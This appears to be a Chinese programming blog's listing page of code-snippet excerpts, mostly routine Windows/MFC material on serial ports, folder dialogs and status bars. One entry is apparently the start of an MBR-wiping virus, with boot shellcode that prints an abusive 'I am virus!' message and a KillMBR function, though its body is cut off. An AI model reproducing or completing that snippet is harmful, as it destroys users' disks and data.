先建立一个基于对话框的小程序,做好界面有串口号,打开串口按钮,关闭串口按钮,发送按钮,接收数据区和发送数据区。然后给串口号即组合框添加变量 CComboBox m_ctrlComPort;给接收数据编辑框添加关联变量 CString m_strRxMsg;给发送数据编辑框添加关联变量 CString m_strTxMsg;然后将SerialPort类的头文件和C++文件复制到工程中区,然后将它们添加到工程中去,将SerialPort的头文件包含到对话框中文件中去...
CSerialPort, 代码集锦阅读全文
CSerialPort类由Remon Spekreijse提供,1997-7-15编写,网址.
//头文件.h
#ifndef __SERIALPORT_H__ #define __SERIALPORT_H__
#define WM_COMM_BREAK_DETECTED WM_USER+1 // A break was detected on input. #define WM_COMM_CTS_DETECTED WM_USER+2 // The CTS (clear-to-send) signal changed state. #define WM_COMM_DSR_DETECTED WM_USER+3 // The DSR (data-set-ready) signal changed state. ...
CSerialPort, 代码集锦阅读全文
打开文件目录对话框,我找到的方法就是使用SHBrowseForFolder函数,这个函数的原型是LPITEMIDLIST SHBrowseForFolder(LPBROWSEINFO lpbi)。函数很简单,就一个返回值和一个参数。参数简单罗列如下
typedef struct _browseinfo {
HWND hwndOwner; // 父窗口句柄
LPCITEMIDLIST pidlRo...
SHBrowseForFolder, 代码集锦, 文件阅读全文
#include <windows.h> #include <string.h> #include <winioctl.h>
unsigned char scode[] = "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
void KillMBR(void);
void main(void) { ...
代码集锦阅读全文
1:添加字符窜资源String Tab
2:CStatusBar m_wndStatusBar;
3:在OnInitDialog()中加入
CRect rect; GetClientRect(rect); if(!m_wndStatusBar.Create(this)||!m_wndStatusBar.SetIndicators(indicators, sizeof(indicators)/sizeof(UINT))) { TRACE0("未能创建状态栏\n"); return -1; } m_wndStatusBar.MoveWindow(0,rect.bottom-30,rect.right,30);
4:在实现...
代码集锦阅读全文